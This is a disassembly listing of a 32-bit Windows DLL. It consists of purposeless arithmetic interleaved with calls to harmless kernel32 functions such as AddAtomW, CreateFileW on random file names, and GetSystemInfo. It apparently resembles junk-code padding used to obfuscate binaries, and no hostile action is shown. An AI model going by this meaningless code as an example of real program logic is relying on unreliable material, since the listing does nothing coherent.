mov edx, dword [ebp - 0x3a18]
mov ax, word [edx]
mov word [ebp - 0x15dc], ax
push 0x8d
push 0
lea ecx, [ebp - 0x41ac]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4740], eax
mov edx, dword [ebp - 0x3a50]
mov eax, dword [ebp - 0x2d88]
and eax, dword [edx]
mov ecx, dword [ebp - 0x38d4]
mov dword [ecx], eax
push 1
lea edx, [ebp - 0x988c]
push edx
mov eax, dword [ebp - 0x9888]
push eax
mov ecx, dword [ebp - 0x988c]
push ecx
mov edx, dword [0x100b97f0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bae6c], eax
push 0x100bad18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0x1564]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bae70], ax
mov ecx, dword [ebp - 0x2e64]
xor ecx, dword [ebp - 0x2ba4]
mov dword [0x100b7308], ecx
mov edx, dword [ebp - 0x387c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1de]
sar eax, cl
mov byte [ebp - 0x130], al
mov ecx, dword [ebp - 0x4338]
movsx edx, byte [ecx]
movsx eax, byte [0x100b71d6]
xor edx, eax
mov ecx, dword [ebp - 0x3a90]
mov byte [ecx], dl
movsx eax, word [ebp - 0x12e4]
cdq
mov ecx, 0x3a5
idiv ecx
mov word [0x100b7254], ax
push 0
push 4
push 5
push 0
push 8
push 0xc0000000
push str.B3iRxfxbcJQlu9w6cSg
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4744], eax
push str.kmzkTh5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba96c], ax
mov edx, dword [ebp - 0x43e0]
movzx eax, word [edx]
mov ecx, dword [0x100bac64]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x80c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bae74], eax
lea edx, [ebp - 0x9ef8]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3b54], eax
movzx eax, word [0x100ba27c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bae78], ax
movzx ecx, word [ebp - 0x12f0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bae7c], ax
lea edx, [ebp - 0x2f30]
mov dword [ebp - 0x4748], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x474c], eax
lea eax, [ebp - 0xf1]
mov dword [0x100bae80], eax
mov ecx, dword [ebp - 0x4424]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3534]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x155], dl
lea edx, [ebp - 0x2df8]
mov dword [ebp - 0x4750], edx
mov eax, dword [ebp - 0x4660]
mov cx, word [eax]
mov word [0x100bae84], cx
push 0
push 0x1805
push 0x6bf
push 0x6437
push 2
mov edx, dword [0x100ba618]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3828], eax
mov eax, dword [ebp - 0x373c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xbec]
and ecx, edx
mov eax, dword [ebp - 0x4034]
mov word [eax], cx
push 0x100b9cd0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.v_GekJZ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15e0], ax
push 1
lea ecx, [ebp - 0x984c]
push ecx
mov edx, dword [0x100bae94]
push edx
mov eax, dword [0x100bae90]
push eax
mov ecx, dword [ebp - 0x34d8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bae88], eax
mov dword [ebp - 0x4754], 0x100b9644
mov edx, dword [0x100b9ec0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40f4]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x100b721f], al
movzx eax, byte [0x100b7fd7]
mov ecx, dword [ebp - 0x419c]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x286], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9718], eax
lea edx, [ebp - 0x1314]
mov dword [ebp - 0x4758], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x475c], eax
mov eax, dword [ebp - 0x4194]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3c44]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100bae84], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4760], eax
mov ecx, dword [ebp - 0x379c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x38e4]
mov dword [ebp - 0x3634], edx
movsx eax, word [ebp - 0x15d4]
mov ecx, dword [ebp - 0x3b0c]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x768], ax
lea eax, [ebp - 0x2d00]
mov dword [0x100bae8c], eax
push 0x100ba1dc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33a8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bae98], eax
mov ecx, dword [0x100bae18]
mov dl, byte [ecx]
mov byte [ebp - 0x2e3], dl
movzx eax, byte [ebp - 0x2d9]
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x100ba564]
mov byte [ecx], al
movzx edx, word [ebp - 0x12a0]
movzx ecx, word [ebp - 0x1404]
shl edx, cl
mov word [ebp - 0x109c], dx
mov eax, dword [0x100b96f8]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.jf8_GMYF7_y.8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15e4], ax
push 0
push 0x80
push 1
push 0
push 4
push 0x80000000
push str.KzF6lRsh28fQSpW1nrqcV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bae9c], eax
mov ecx, dword [0x100b71e0]
xor ecx, dword [0x100b9ebc]
mov dword [ebp - 0x2c90], ecx
lea edx, [ebp - 0x2bf4]
mov dword [0x100baea0], edx
mov eax, dword [ebp - 0x3e94]
movsx ecx, word [eax]
movsx edx, word [0x100b7360]
or ecx, edx
mov eax, dword [ebp - 0x3ce4]
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3954], eax
push 0x100a79bc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baea4], ax
mov ecx, dword [ebp - 0x36d0]
mov dl, byte [ecx]
mov byte [ebp - 0x2e4], dl
mov eax, dword [0x100b9be4]
mov cl, byte [eax]
mov byte [0x100b82e2], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4764], eax
mov dword [ebp - 0x4768], 0x100b7223
mov edx, dword [ebp - 0x3790]
mov ecx, dword [0x100b9530]
sar edx, cl
mov dword [ebp - 0x2b48], edx
mov eax, dword [0x100ba570]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x37d8], eax
movzx ecx, word [ebp - 0x538]
movzx edx, word [ebp - 0x1264]
add ecx, edx
mov word [0x100b9a1c], cx
push str.CUgriYR.OWAcijM02zUU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1590], ax
mov ax, word [ebp - 0x89c]
mov word [ebp - 0x15e8], ax
mov ecx, dword [0x100b96e4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x31e0]
mov eax, dword [ebp - 0x3f50]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x296]
movzx edx, byte [ebp - 0x2c6]
xor ecx, edx
mov eax, dword [0x100ba3d8]
mov byte [eax], cl
movsx edx, byte [ebp - 0x2de]
movsx ecx, byte [ebp - 0x89]
shl edx, cl
mov byte [ebp - 0x1a1], dl
mov eax, dword [ebp - 0x38b0]
mov ecx, dword [ebp - 0x4710]
mov eax, dword [eax]
cdq
idiv dword [ecx]
mov edx, dword [ebp - 0x3b58]
mov dword [edx], eax
movzx eax, word [ebp - 0x1350]
cdq
mov ecx, 0x347
idiv ecx
mov word [str.3_f_aY], ax
movsx edx, word [ebp - 0xb8c]
mov eax, dword [ebp - 0x3bf4]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x4550]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100baea8], eax
mov ecx, dword [ebp - 0x36c8]
mov dx, word [ecx]
mov word [ebp - 0x15ec], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x476c], eax
push 2
lea eax, [ebp - 0x985c]
push eax
mov ecx, dword [ebp - 0x98b0]
push ecx
mov edx, dword [ebp - 0x98b4]
push edx
mov eax, dword [0x100ba118]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bacb8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100baeac], eax
lea ecx, [ebp - 0x27f]
mov dword [0x100baeb0], ecx
lea edx, [ebp - 0x2e08]
mov dword [ebp - 0x4770], edx
lea eax, [ebp - 0xaf0c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x100a79f0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baeb4], ax
mov edx, dword [ebp - 0x40c4]
mov ecx, dword [ebp - 0x3c5c]
sar edx, cl
mov eax, dword [ebp - 0x3ed4]
mov dword [eax], edx
mov ecx, dword [0x100ba124]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x28f]
or edx, eax
mov ecx, dword [0x100b9818]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4430]
movzx eax, word [edx]
movzx ecx, word [0x100ba9e8]
and eax, ecx
mov word [ebp - 0xc28], ax
movsx edx, word [ebp - 0xd08]
imul eax, edx, 3
mov ecx, dword [ebp - 0x3960]
mov word [ecx], ax
mov dword [0x100baeb8], 0x100b71f6
lea edx, [ebp - 0xaec4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x42d4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2af]
xor ecx, edx
mov byte [ebp - 0x1de], cl
mov eax, dword [ebp - 0x3cf4]
mov dword [ebp - 0x4774], eax
mov ecx, dword [ebp - 0x4168]
mov esi, dword [ebp - 0x3b78]
mov eax, dword [ecx]
cdq
idiv dword [esi]
mov edx, dword [0x100badf4]
mov dword [edx], eax
mov eax, dword [0x100b96ec]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2c9]
sub ecx, edx
mov byte [ebp - 0x10c], cl
mov eax, dword [ebp - 0x3d08]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3ef4]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x7ac], dx
mov ecx, dword [ebp - 0x3d80]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1308]
add edx, eax
mov word [0x100b73cc], dx
mov ecx, dword [ebp - 0x4518]
movzx edx, byte [ecx]
mov eax, dword [0x100bad08]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x28a], dl
movzx ecx, word [0x100b9f1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15f0], ax
lea edx, [ebp - 0x2d68]
mov dword [ebp - 0x4778], edx
push 0
push 0x80
push 0
push 0
push 1
push 0x40000000
push 0x100a79f4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100baebc], eax
movzx eax, word [ebp - 0x1204]
mov ecx, dword [0x100ba9a0]
movzx edx, word [ecx]
and eax, edx
mov word [0x100b7258], ax
mov eax, dword [0x100b7394]
imul eax, dword [ebp - 0x4290]
mov dword [ebp - 0x2eb0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e44], eax
movsx ecx, byte [ebp - 0xf7]
movsx edx, byte [0x100b7286]
or ecx, edx
mov byte [ebp - 0x2ae], cl
mov eax, dword [0x100badc8]
mov cx, word [eax]
mov word [0x100baec0], cx
mov edx, dword [ebp - 0x3904]
mov al, byte [edx]
mov byte [ebp - 0x2e5], al
mov ecx, dword [ebp - 0x3630]
mov eax, dword [ecx]
cdq
idiv dword [0x100b72f4]
mov dword [ebp - 0x3780], eax
movsx edx, byte [ebp - 0x2a4]
mov eax, dword [ebp - 0x45f4]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b801a], dl
mov edx, dword [ebp - 0x3ed0]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd80]
add eax, ecx
mov edx, dword [ebp - 0x3808]
mov word [edx], ax
mov eax, dword [ebp - 0x3fbc]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3fd4]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xc8c], dx
mov ecx, dword [0x100b9ed8]
and ecx, dword [ebp - 0x2f78]
mov dword [0x100badd4], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x477c], eax
mov dword [ebp - 0x4780], 0x100b9f14
mov edx, dword [ebp - 0x3884]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3940]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x41], al
lea edx, [ebp - 0x3780]
mov dword [0x100baec4], edx
movsx eax, byte [ebp - 0x2de]
mov ecx, dword [ebp - 0x3b80]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x87], al
mov ax, word [ebp - 0x1228]
mov word [ebp - 0x15f4], ax
mov ecx, dword [0x100b9bb8]
movzx eax, word [ecx]
cdq
mov ecx, 0xf7
idiv ecx
mov edx, dword [0x100b99d8]
mov word [edx], ax
movsx eax, byte [ebp - 0x29a]
movsx ecx, byte [ebp - 0x2ae]
add eax, ecx
mov edx, dword [ebp - 0x3d38]
mov byte [edx], al
lea eax, [ebp - 0x3080]
mov dword [0x100baec8], eax
push str.8q3YZ_GVf5qtRj_3if4Za_Lfw6D
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9e50], ax
lea ecx, [ebp - 0xca8]
mov dword [ebp - 0x4784], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x40cc], eax
mov edx, dword [ebp - 0x3ba8]
mov al, byte [edx]
mov byte [ebp - 0x2e6], al
mov ecx, dword [ebp - 0x3fd8]
mov edx, dword [ecx]
mov dword [0x100baecc], edx
movzx eax, word [ebp - 0xe6c]
mov ecx, dword [ebp - 0x3f78]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x618], ax
mov eax, dword [ebp - 0x38b0]
mov ecx, dword [0x100ba6c8]
and ecx, dword [eax]
mov dword [ebp - 0x3f10], ecx
mov edx, dword [ebp - 0x451c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x884]
sub eax, ecx
mov edx, dword [0x100b96a8]
mov word [edx], ax
lea eax, [ebp - 0x30c0]
mov dword [ebp - 0x4788], eax
mov ecx, dword [ebp - 0x46c0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4370]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x132], dl
mov dword [0x100baed0], 0x100b714e
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
mov eax, dword [0x100baa04]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x270], dl
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x3494]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2ea8], eax
movzx ecx, byte [ebp - 0x294]
movzx edx, byte [0x100b714f]
add ecx, edx
mov eax, dword [0x100bacc4]
mov byte [eax], cl
movsx ecx, word [ebp - 0x528]
mov edx, dword [ebp - 0x4148]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0x62c], cx
mov dword [ebp - 0x478c], 0x100b7348
movzx ecx, word [ebp - 0x15d0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100baed4], ax
mov edx, dword [ebp - 0x4318]
mov eax, dword [0x100b7390]
xor eax, dword [edx]
mov ecx, dword [0x100ba918]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x222]
mov eax, dword [0x100b9ab4]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x4698]
mov byte [eax], dl
mov edx, dword [0x100b9ebc]
mov ecx, dword [ebp - 0x2b2c]
shl edx, cl
mov eax, dword [ebp - 0x43d0]
mov dword [eax], edx
push 0x100bad18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, byte [0x100b714f]
movzx ecx, byte [ebp - 0x2af]
sar edx, cl
mov byte [0x100b7296], dl
mov eax, dword [0x100ba018]
mov cx, word [eax]
mov word [ebp - 0x15f8], cx
push 0x100a7a48
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15fc], ax
mov edx, dword [ebp - 0x3c68]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1588]
add eax, ecx
mov word [ebp - 0xe7c], ax
mov edx, dword [ebp - 0x383c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x43c8]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100b959c]
mov byte [ecx], al
mov edx, dword [0x100b999c]
movzx eax, word [edx]
imul ecx, eax, 0x925
mov edx, dword [ebp - 0x421c]
mov word [edx], cx
mov eax, dword [ebp - 0x3860]
mov ecx, dword [0x100b7280]
xor ecx, dword [eax]
mov dword [ebp - 0x2bc0], ecx
mov dword [0x100baed8], 0x100b71c8
lea edx, [ebp - 0x1de]
mov dword [ebp - 0x4790], edx
lea eax, [ebp - 0x600]
mov dword [ebp - 0x4794], eax
movsx ecx, byte [ebp - 0x17c]
movsx edx, byte [ebp - 0x21e]
add ecx, edx
mov byte [0x100b7297], cl
mov eax, dword [ebp - 0x3870]
movzx ecx, word [eax]
movzx edx, word [0x100b7260]
sub ecx, edx
mov word [ebp - 0x1490], cx
push 0x100baedc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34d4], eax
lea eax, [ebp - 0x9f10]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x4530]
mov dword [ebp - 0x4798], ecx
movzx edx, word [0x100ba498]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100baf00], ax
mov eax, dword [ebp - 0x33fc]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x41c8]
mov dword [0x100b7290], ecx
movzx edx, byte [ebp - 0x4c]
mov eax, dword [ebp - 0x4284]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x41b8]
mov al, byte [edx]
mov byte [ebp - 0x2e7], al
lea ecx, [ebp - 0x1568]
mov dword [0x100baf04], ecx
movzx edx, word [0x100b7260]
mov eax, dword [ebp - 0x3648]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3f78]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x479c], eax
mov edx, dword [ebp - 0x2c48]
and edx, dword [0x100b7278]
mov dword [ebp - 0x2b3c], edx
movsx eax, byte [ebp - 0x26e]
movsx ecx, byte [ebp - 0x2b3]
xor eax, ecx
mov edx, dword [0x100ba5e4]
mov byte [edx], al
mov eax, dword [ebp - 0x405c]
mov cl, byte [eax]
mov byte [ebp - 0x2e8], cl
mov edx, dword [0x100ba9d8]
mov eax, dword [ebp - 0x3c38]
add eax, dword [edx]
mov dword [ebp - 0x3ea0], eax
mov ecx, dword [ebp - 0x46a8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x37fc]
movzx ecx, word [eax]
and edx, ecx
mov word [0x100b7294], dx
movzx edx, word [ebp - 0x119c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9624], ax
push str.C_ETC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1600], ax
movsx eax, word [0x100baec0]
movsx ecx, word [ebp - 0xdb4]
sar eax, cl
mov word [ebp - 0x5cc], ax
mov ecx, dword [0x100b7318]
mov dword [ebp - 0x47a0], ecx
push 0
push 0x200
push 0
push 0
push 8
push 0xc0000000
push str.DGKEKOHSsHuMbGya_rnW5OubOHeLcDzz6sn
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100baf08], eax
lea edx, [ebp - 0x267]
mov dword [0x100baf0c], edx
push 0x1b75
mov eax, dword [0x100ba0ac]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x393c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100baf10], eax
push str.eNhzx9jGYDEuph
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1604], ax
mov ecx, dword [ebp - 0x42d4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x37e8]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3740]
mov byte [ecx], dl
push 0x12b4
mov edx, dword [ebp - 0x3aa4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b96dc], eax
movzx eax, word [ebp - 0x14a4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100baf14], ax
push 0
push 0x100
push 1
push 0
push 1
push 0x80000000
push str.OGTU1SNX9NAa7tJ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100baf18], eax
mov ecx, dword [ebp - 0x3e84]
movzx edx, word [ecx]
mov eax, dword [0x100ba898]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xfb4], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x47a4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba7ac], eax
lea edx, [ebp - 0xb248]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4170]
mov cx, word [eax]
mov word [0x100baf1c], cx
mov edx, dword [ebp - 0x4190]
imul eax, dword [edx], 0x1535
mov dword [ebp - 0x4774], eax
movsx ecx, word [ebp - 0x1348]
movsx edx, word [ebp - 0x150c]
xor ecx, edx
mov word [ebp - 0x568], cx
mov eax, dword [ebp - 0x3a1c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2d04]
mov dword [0x100b7354], ecx
mov edx, dword [ebp - 0x36d0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1ab]
and eax, ecx
mov edx, dword [ebp - 0x371c]
mov byte [edx], al
lea eax, [ebp - 0x2bd]
mov dword [0x100baf20], eax
movzx ecx, word [0x100b98bc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1604], ax
push str.NeW9ue_XJH5t9_CzfJ_fP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baf24], ax
lea edx, [ebp - 0x9f28]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [ebp - 0xc20]
mov ecx, dword [ebp - 0x3c24]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xc04], ax
mov edx, dword [ebp - 0x425c]
mov eax, dword [edx]
mov dword [ebp - 0x47a8], eax
push 0x258c
mov ecx, dword [ebp - 0x3d5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100baf28], eax
mov edx, dword [ebp - 0x41dc]
mov eax, dword [ebp - 0x2af4]
xor eax, dword [edx]
mov dword [0x100b7308], eax
push str.RW0geV.MSA7_AC0lqOx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1608], ax
movsx ecx, word [ebp - 0x12dc]
movsx edx, word [0x100b7304]
sub ecx, edx
mov word [ebp - 0x6ac], cx
movsx eax, byte [ebp - 0x2ab]
mov ecx, dword [ebp - 0x42b4]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x37e4]
mov byte [edx], al
movzx eax, byte [0x100b8172]
movzx ecx, byte [ebp - 0x265]
or eax, ecx
mov byte [0x100b729a], al
mov edx, dword [0x100b9628]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100baf2c], eax
mov eax, dword [ebp - 0x4254]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x381c]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x22], cl
lea ecx, [ebp - 0xaf78]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0x2d88]
mov dword [ebp - 0x47ac], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9ba0], eax
movzx eax, word [ebp - 0x15f4]
movzx ecx, word [ebp - 0x1404]
and eax, ecx
mov word [0x100ba1d0], ax
mov dx, word [ebp - 0xbec]
mov word [ebp - 0x160c], dx
mov eax, dword [ebp - 0x401c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3064]
shr edx, cl
mov dword [ebp - 0x2cc0], edx
mov eax, dword [ebp - 0x4610]
mov cl, byte [eax]
mov byte [0x100b82e3], cl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x47b0], eax
lea edx, [ebp - 0x9c28]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x3c7
push 0x2aec
push 0x3ccf
push 0x203
mov eax, dword [0x100badb4]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x35f8], eax
push 0x100baf30
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x4188]
mov dl, byte [ecx]
mov byte [ebp - 0x2e9], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x47b4], eax
push 0
push 0x40
push 4
push 0
push 2
push 0x40000000
push str.mGXDxN7Ft9vuJPE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100baf48], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x46d0], eax
mov eax, dword [ebp - 0x301c]
cdq
idiv dword [ebp - 0x3c5c]
mov ecx, dword [ebp - 0x3934]
mov dword [ecx], eax
mov edx, dword [ebp - 0x35fc]
movzx eax, word [edx]
cdq
mov ecx, 0x7c3
idiv ecx
mov word [0x100b71e8], ax
mov dword [ebp - 0x47b8], 0x100baec0
movzx edx, word [0x100ba27c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1610], ax
movzx eax, word [ebp - 0x1580]
movzx ecx, word [ebp - 0x6f0]
shl eax, cl
mov word [ebp - 0x12fc], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100baf4c], eax
mov ecx, dword [ebp - 0x3b48]
mov dl, byte [ecx]
mov byte [0x100b82e6], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33a8], eax
lea eax, [ebp - 0x3804]
mov dword [ebp - 0x47bc], eax
mov ecx, dword [ebp - 0x4180]
add ecx, dword [0x100b71c8]
mov edx, dword [ebp - 0x4778]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x2b8]
mov ecx, dword [ebp - 0x4634]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x100b7142], al
mov dword [ebp - 0x47c0], 0x100b7344
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b97c4], eax
push str.OKt_DWANFwkJ_BE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1614], ax
mov eax, dword [ebp - 0x3af8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4388]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1340], cx
movsx ecx, byte [ebp - 0x1b9]
mov edx, dword [ebp - 0x4624]
movsx eax, byte [edx]
imul ecx, eax
mov byte [0x100b7f27], cl
mov ecx, dword [0x100bac70]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x428c]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x155], dl
mov edx, dword [ebp - 0x4158]
mov eax, dword [ebp - 0x2bc0]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x3188], eax
mov dword [0x100baf50], 0x100b9e28
mov ecx, dword [0x100ba57c]
mov dl, byte [ecx]
mov byte [ebp - 0x2ea], dl
mov eax, dword [ebp - 0x43e0]
movzx ecx, word [eax]
mov edx, dword [0x100b9fbc]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3f78]
mov word [edx], cx
mov eax, dword [ebp - 0x3d80]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4060]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b72ec], cx
mov ecx, dword [ebp - 0x3cfc]
movzx edx, byte [ecx]
